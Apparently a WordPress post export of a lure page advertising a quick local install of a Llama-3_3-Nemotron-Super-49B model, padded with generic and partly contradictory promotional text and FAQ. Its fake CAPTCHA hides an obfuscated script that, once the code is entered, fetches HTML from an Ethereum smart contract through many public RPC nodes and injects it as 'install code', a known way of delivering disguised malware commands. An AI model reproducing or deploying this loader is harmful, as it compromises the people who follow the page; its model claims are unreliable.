AvOdBRENFpOFM2XupRp8ZXw6dhg2N4fva0xg77YEAJyQoOkccb\/mW0+3VYrj1h2PDgo3zlJRUDnMHwtESLdW36+0ONW1GZps2CudYSlp5PGL5k+LnfstoImPRXxhO4gnnkMHVR8vIQFf2mdZj++gjhj36OhWHlrXEIh2byrfYf8C67NCIIZvFfO9h0Wb1QpnPN92MSKWgFKsYgPm\/YqMimWJdgmXhtCZZCEAgcXgPxDR5SGLzgKmTtQOeHug1jjtoOPmdAQLcoEtJjpjX06yd5i\/ejrnDEU2j1XFT4G8rboya5AMh3KxGg4VBMcF7f0O+tlDUdjxG7SiFiCBCgzHUbOKMv0kdR8YmB1MWzO1E4wyZc3SWl49ohqYivHR\/DK1BWNu7cI4WkP6uZgJMmw706CyfmRo6OFafInG7NEuWM6IpxnDULd9ssdqEkAjy4rcINkQiv2Y019\/ajCqgvnsZxfUGXLqwB\/9kp49TR2dncllMarY1rwXJ5Wq2LB1\/QYRn6K4Emip+pEjLCXXpOIhz3USHa3Tfj1trbcN7510OltNxrj\/\/kbliWLfMJdrc6xP7Tfy21DfluD9\/ihwzJ4q3HDKhfEOVzlv\/x0SCPU9GbGmCAz0loE2YuyjDoNQLe3qRQx0r1JN7WDAxQofPLL5WD\/dr6+jmAMGRmWE7NSaQUtnJVpKr6py\/6GwFOxTRCXfb33dlYybV8CdLkvqUMXoT9bzGXD1sxvH6mZLktBsrVjFt6yeq0WdXxBsXjosw9sS\/iy7Zl\/imDDlv2YS1CQbQ\/jvkmn\/wdxDEpmGSLHa4u2nEnmy4W31y+oVSdNREgqmgf+QmmxVEEDk1SSYnNMeml3mTRzCtbg5wR5ildwhLF2JkykxvlfM+tNqyHbaqxby6uWWUl7iQbl5\/KTjNmrizS4r3vA99QJrA8vvr4KpfMjhqESncRYC63WHKduROmRzcTPk8qY82B0ghBuB1ekjmt+1Y9agvJnfNP8Ju\/of8mVEdSnWomeVUbOeiBaTYn730+Du+JunuXbatuLNwMs202T6\/kB3MDM4WCaLo6rRZ9xrb+\/ipehraiaWESATHjYD0I9rWTgGCyacoPVgkx3cz+Ki\/OmMpbFLpGVwIzvW4Gu5K5kU8sKBRDdYA+AOREJp1rT\/k1hUdKRD+IeJz4+aKzzqgw+RPXQ3t26IxoiPugvz0abBnp+Hw5gwtTQKjDQkHKH9tOEILbGEFhT\/Qaah0+pmab\/iv4Vwh7HVFusV33sTrEa8xDNsg5w45WRJUpeyKkeC+lm1+0HNjh8bsy6noTpfAbmyXBigypff3M2Qh\/BwmM+zjF4oXkZGuFJn23Zz7Y+oZLNCS1mKu6ZipYB9cAPtyxSIIKXzd9e4P9FyVl9SaFyP13sO45CS9fAZ8I1fFfoxdvGpruqOVeywHeeXhJ+qwihiq3E8zBijQUPGb0ZVrglD7VLSbwIDummq0Vsw67m75WpSK\/jLTTBb\/6gEfkQ2+LfntvU4bqbpVVeUd29SpqXy76oO2vGrrlr303iMbtbkcLKTIOocSNpZxWP2Jaz+Q6gFTub+Wp+brk5ECosOtHt0gYJVoxhjfTdxilE720Cr36zwt75LxH6YmVx1VxZFIFTNGmJ94obSua0+9DxRV0qyLNINTp7\/estrQNyT7JAsblNCpvLPc8DHDcGUlM68IP2mYhsjYDM64sb\/4BAh6rPjupZ5sRwawC9\/Xik01pj4BbA3z06w0Id6kewDiEjUjPaCpBfDHaQhqm\/377L9ikxJmwWboBRQfYDqS28Boz1oGB7wctp0BeRhmWXvvpmNrBYk3qjj6C\/4lx5wiascdn1QiK4fNTLbc0KLtg2Ezeney3lR3tJLQ+c7bG38GI7S9sG4OwO2v7aGDlksqR0ffrB+gidhlLP8yL7CZRoQFfBJ4Fj8UYu5bcYwvfrVxRMOum38V8dRhqxV72Wh8LLgj+a+cFqy5ZxA6OaFeiEkQefJ9vbGO\/YsArOliFPMPL++1kJ2R8if13MT+GDbDDqEBRifv3PPe5TYEj0NlXSVI\/WWeqWAnhXcDbvY8CPLtgINCBNTAyO80X+VXcYgDFXGhpBXca6Yyu56EEXpy72z3NbwqU8iX12orpEZu3rG4lTQLZ0CIi6I2p3iCt1HXaSXBOa1Hfk3xG7Gj47dF8p9oycG9XBfYNJQHXLhzi30jaR+Yy90HN7w3pltwpJ1vWP8ylgZtqheQSAirBISLR7Xpvih47DMxAo1I1xKBxcyOARyXMIwrkG+quJnOZ+1lMhF3P6hUWPYJuslF0gVziaMBJ0t3QZeZa5b+k5lzGohkkyFrbBiqAfxXoCBZGqmFC9sFUBjXylc8QDbfbtgVUbR4ZfO67QKwL8NVBGWH2Prne52aEhAfKF0xVh8Z1aWqfliuqgACvqgXJf3OnlEMIq2z\/pF+Q7L7GfmEhLXCY+FLKyDxm\/SsXC\/vSFpXBGflyppfuTMz6vClfKiNFy1XcTrUSF+uGy1POv\/nF3TI1SX3Cs56m8mQ1GRkVEK5pzGClhtMS2IQorQX3DyjdjB6lMcQwrjeHQvncbhZLaCH8d1lJycrhhjWxPQedicXSBgMLGw9zh+\/wgDwrEZKwKdAvozSJrIjCzogAr0Ih+\/XSWy5KpdW8+KZv0HTbbX77Qf0AhLYGyYqWgggrUgRhgyJ072MmFXYlFgJGP188o9NBi3qs+Mcz0CgvDvDTM0EnPjgwumlLMZUqYbrTXr+2GSUlFuhn4IqLWA7fvBZnyAFnd+DmU21C6+JMiIpbd6ZpFo5KFznxBjN+mws7zNb3gympn5kXLX2dBdbzX9V8tmywCDPGfORJU\/4tWatMIenYro0icd5yXMrp\/Xz1JBvAxiDzEoIG53BMGtC1lAl2s+64o+qSk38d3JucQeDrv4vyhiEW6OQhPSwhgqdNxah7njMC91hBKyMDbJTkc\/iCZlEXl3PJNRKRbJla8X9c6SeOXE2pir61e7sDn1RyyfgLa4Ltlt4TMgq9BjbVrescsc5Bj6MUyF7GG9YfmAKyQgcbaVieCeGeWQIECGoeBTNxTdwRRBvDGR+0taH+UfFmYHHGdW6yMaE4SnFvu2HSX2XoxWvWBUxSgtgUYmVIMjJfJKjhiElmVXI+3VodApW29iz233g36DK48Fcr0wcHkY2xnSo6A0+gb+qzDgX5G09+SGsIuqxtfmW4I3Yb1ZhwrZK0f0KnflfkgApVG63MI9En1YfMcuUpP0om6Anw1KAYp0i9HeAbnhWW8L\/hq6YeXSYC0avk1E+1kgsdqmCgSfuCEzu609H8v08AHqQgFsu0RwC8xi6iSkgnwDu8NMV26soK2thi5Z\/6ZMr2eyhcV4dvXlkNhQrIf555ZGLqZfZW2dN5ntHrnP0nHmVBEStm\/mny8lssTrSvmQl6ecN7+y+\/4ugiPWnp4AJ2bneOlk3GURaIf\/eF6t0Reg3vX0QwRPJDO3KOr8TvvK2jD4Hp5QJbsgrAB0rSdCfgW4Wmu0UFpD3eUcFOo4pcUiYjVUfr5wxmY\/+LIRQtkJWjEnGN72lkmaEKc\/eQypGKyszHqkCDMFiQ1PfbxiJmWThG40yFP7vjsuKBMjRN2dp9zTVnwv7r120GmDcB60Mpq8WTWUck67KUbr76\/tP4u928EKX8s8cAs8cDHZa9M3Lts5dx7Tmc3hxHAYkku96Jyf2AmWtDaAbBRKcuZxnZbsD\/abWbVp\/Npxmfviavgm\/on8SBosXwQmCVqzR0LO9+inquNz+R0bJXDRXKpw\/1v52ZwHy5FZhjzTqWm\/X2u4flRRcK0HVqME6q73z6gUVStX4IHgNu\/bqmDOiZi9p1rNA9wPERbpj8xyhAJpJwzf13d9ivv3HsMyUfm7EWLnmeOFnMOLacr+TSKPy9zlVqnpjRAHMEZplHDhhj9xJlxpd+mV\/N7DKU0kh5kja80VQAxDQRi2dxQuoos2Ui6FaZYv\/\/Qn6heEeFOtV8ioiKOVcqLbRTPuPJNJQ8zwy\/k2mtah3DpXVUVtOykWtklqhJAnc2o9cJXmugtccRTMcd2N+lBAjkXSgtdwu0refWk+QJHqofjetQtWYwLSHw2nK\/xnxrArdraioL\/\/FYHuM81vQMWHXRl9uGUHmUp9U5qWOVyj\/NXEv+MYvO6kyj0QfwjAY76EQD5WLmMPGXEpltVDY45ll4gV0R+bSIWeTxxti3xt2wymvu\/vgJvRNn5GBkVzKQwRnFxkPCasUI12bSuuKmf+xM7BJIaqfIW1Z42irOzJSEMtCqrGq40tYBXrXpNqfbNVvThmD\/3yTMtNw8HLt+A9D+92XBHc6r9H7DNDqqCy5GfUzL5cmukQvcQ+kGu9KWBBz8uU+ibibuwjOcsGb+jx0yrRD+67VZerqGslfdqid8AC3FDyVM2zu34yWWp8OP0LZncrPizgLH0FnZukZEYPA+T848flqaK5JZOwgAAA\" alt=\"How to Run Llama-3_3-Nemotron-Super-49B-v1_5 on Copilot+ PC Zero Config Direct EXE Setup\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>To install this model locally in the <i>shortest time<\/i>, opt for a direct <b>curl execution<\/b>.<\/p>\n<p>Follow the <b>guidelines<\/b> below to continue.<\/p>\n<p> <\/p>\n<p><i>The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n<p> <\/p>\n<p>An automated hardware sweep ensures the system will <b>select the best tuning parameters<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3B3B3B;font-family:'Menlo';\">\ud83d\uddc2 Hash: <code>47fa504517d5567cf072f5899cfb0dad<\/code> \u2022 <small>Last Updated:<\/small> 2026-07-12<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'b69add4b_llamanemotronsuperbv_copilot');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:24px;padding-left:19px;margin-left:0;\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><b>RAM:<\/b> minimum <b>16 GB<\/b> for stable 8B model loading<\/li>\n<li><b>Disk Space:<\/b> required: fast <b>PCIe 4.0<\/b> drive for instant boots<\/li>\n<li><b>Graphics:<\/b> stable <b>30+ tk\/s<\/b> at 4-bit quantization on medium setup<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The Llama-3_3-Nemotron-Super-49B-v1_5 is a groundbreaking language model that has been designed with both research and commercial applications in mind. Its massive 49-billion parameter architecture enables it to deliver state-of-the-art performance on complex tasks such as reasoning, coding, and multilingual processing. The model has consistently scored top marks on standard benchmarks like MMLU and HumanEval, showcasing its capabilities in natural language understanding and generation. Additionally, the optimized transformer layers and sparse attention mechanism employed by the model result in low inference latency while maintaining high accuracy levels. Furthermore, the model&#8217;s deployment on modern GPU clusters allows for scalable throughput and a reduced memory footprint through quantization support. These characteristics make it an attractive choice for enterprises seeking high-performance AI solutions without compromising on cost or speed.<\/p>\n<ul>\n<li>Key Features:<\/li>\n<ul>\n<li>Massive 49-billion parameter architecture<\/li>\n<li>State-of-the-art performance on reasoning, coding, and multilingual tasks<\/li>\n<li>Low inference latency with high accuracy<\/li>\n<li>Scalable throughput and reduced memory footprint through quantization support<\/li>\n<\/ul>\n<li>Technical Specifications:<\/li>\n<ol>\n<li>Parameters: 49 B<\/li>\n<li>Context length: 8 K tokens<\/li>\n<li>Training data: \u22481.5 TB text<\/li>\n<\/ol>\n<\/ul>\n<table>\n<tr>\n<th>Characteristics<\/th>\n<th>Description<\/th>\n<\/tr>\n<tr>\n<td>Optimized Transformer Layers<\/td>\n<td>Enable low inference latency while maintaining high accuracy levels.<\/td>\n<\/tr>\n<tr>\n<td>Sparse Attention Mechanism<\/td>\n<td>Fosters efficient processing and reduces computational requirements.<\/td>\n<\/tr>\n<tr>\n<td>Quantization Support<\/td>\n<td>Reduces memory footprint while preserving model accuracy.<\/td>\n<\/tr>\n<\/table>\n<p><q>What makes the Llama-3_3-Nemotron-Super-49B-v1_5 an attractive choice for enterprises?<\/q><\/p>\n<p>The model&#8217;s unique combination of performance, scalability, and cost-effectiveness make it an ideal solution for businesses seeking to deploy high-performance AI models without sacrificing speed or budget.<\/p>\n<p><q>How does the Llama-3_3-Nemotron-Super-49B-v1_5 handle inference latency?<\/q><\/p>\n<p>The model&#8217;s optimized transformer layers and sparse attention mechanism work together to minimize inference latency while preserving high accuracy levels.<\/p>\n<p><q>What kind of data is used for training the Llama-3_3-Nemotron-Super-49B-v1_5?<\/q><\/p>\n<p>The model is trained on a massive dataset of approximately 1.5 TB text, allowing it to learn and generalize across a wide range of linguistic patterns and structures.<\/p>\n<p><q>Can the Llama-3_3-Nematron-Super-49B-v1_5 be deployed on modern GPU clusters?<\/q><\/p>\n<p>Yes, the model is optimized for deployment on modern GPU clusters, making it an ideal choice for enterprises seeking to scale their AI infrastructure efficiently and effectively.<\/p>\n<p><q>What are some potential applications of the Llama-3_3-Nemotron-Super-49B-v1_5?<\/q><\/p>\n<p>The model has a wide range of applications in areas such as natural language processing, machine learning, and human-computer interaction, making it a versatile tool for businesses and researchers alike.<\/p>\n<p><q>How does the Llama-3_3-Nemotron-Super-49B-v1_5 compare to other large language models?<\/q><\/p>\n<p>The model&#8217;s unique architecture and optimization techniques set it apart from other large language models, offering a compelling choice for enterprises seeking high-performance AI solutions.<\/p>\n<p><q>What are some potential limitations of the Llama-3_3-Nemotron-Super-49B-v1_5?<\/q><\/p>\n<p>While the model has shown exceptional performance in various tasks, it is not without its limitations. Further research and development are needed to fully explore its capabilities and address any potential drawbacks.<\/p>\n<p><q>Can the Llama-3_3-Nemotron-Super-49B-v1_5 be used for specific industries or domains?<\/q><\/p>\n<p>The model has been evaluated on a range of benchmarks, demonstrating its applicability to various industries and domains. However, further evaluation and fine-tuning may be necessary to adapt it to specific use cases.<\/p>\n<p><q>How does the Llama-3_3-Nemotron-Super-49B-v1_5 ensure data privacy and security?<\/q><\/p>\n<p>The model&#8217;s architecture and training process prioritize data privacy and security, ensuring that sensitive information is protected and handled in accordance with regulatory standards.<\/p>\n<p><q>What are some potential future developments for the Llama-3_3-Nemotron-Super-49B-v1_5?<\/q><\/p>\n<p>Future research and development may focus on further optimizing the model&#8217;s performance, exploring new applications, or addressing emerging challenges and limitations.<\/p>\n<ul>\n<li>Downloader pulling custom card-based character models for roleplay setups<\/li>\n<li>How to Setup Llama-3_3-Nemotron-Super-49B-v1_5 Locally via LM Studio FREE<\/li>\n<li>Installer configuring secure sandboxed execution for code models<\/li>\n<li>How to Deploy Llama-3_3-Nemotron-Super-49B-v1_5 on Copilot+ PC with 1M Context Full Method<\/li>\n<li>Setup script for KoboldCPP executable with embedded model loading<\/li>\n<li>Full Deployment Llama-3_3-Nemotron-Super-49B-v1_5<\/li>\n<li>Downloader pulling optimized Llama-3 quantizations for mobile runtimes<\/li>\n<li>Llama-3_3-Nemotron-Super-49B-v1_5 via WebGPU (Browser) Full Speed NPU Mode 5-Minute Setup<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>To install this model locally in the shortest time, opt [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[97],"tags":[],"class_list":["post-31945","post","type-post","status-publish","format-standard","hentry","category-safetensors"],"_links":{"self":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts\/31945","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/comments?post=31945"}],"version-history":[{"count":1,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts\/31945\/revisions"}],"predecessor-version":[{"id":31946,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts\/31945\/revisions\/31946"}],"wp:attachment":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/media?parent=31945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/categories?post=31945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/tags?post=31945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}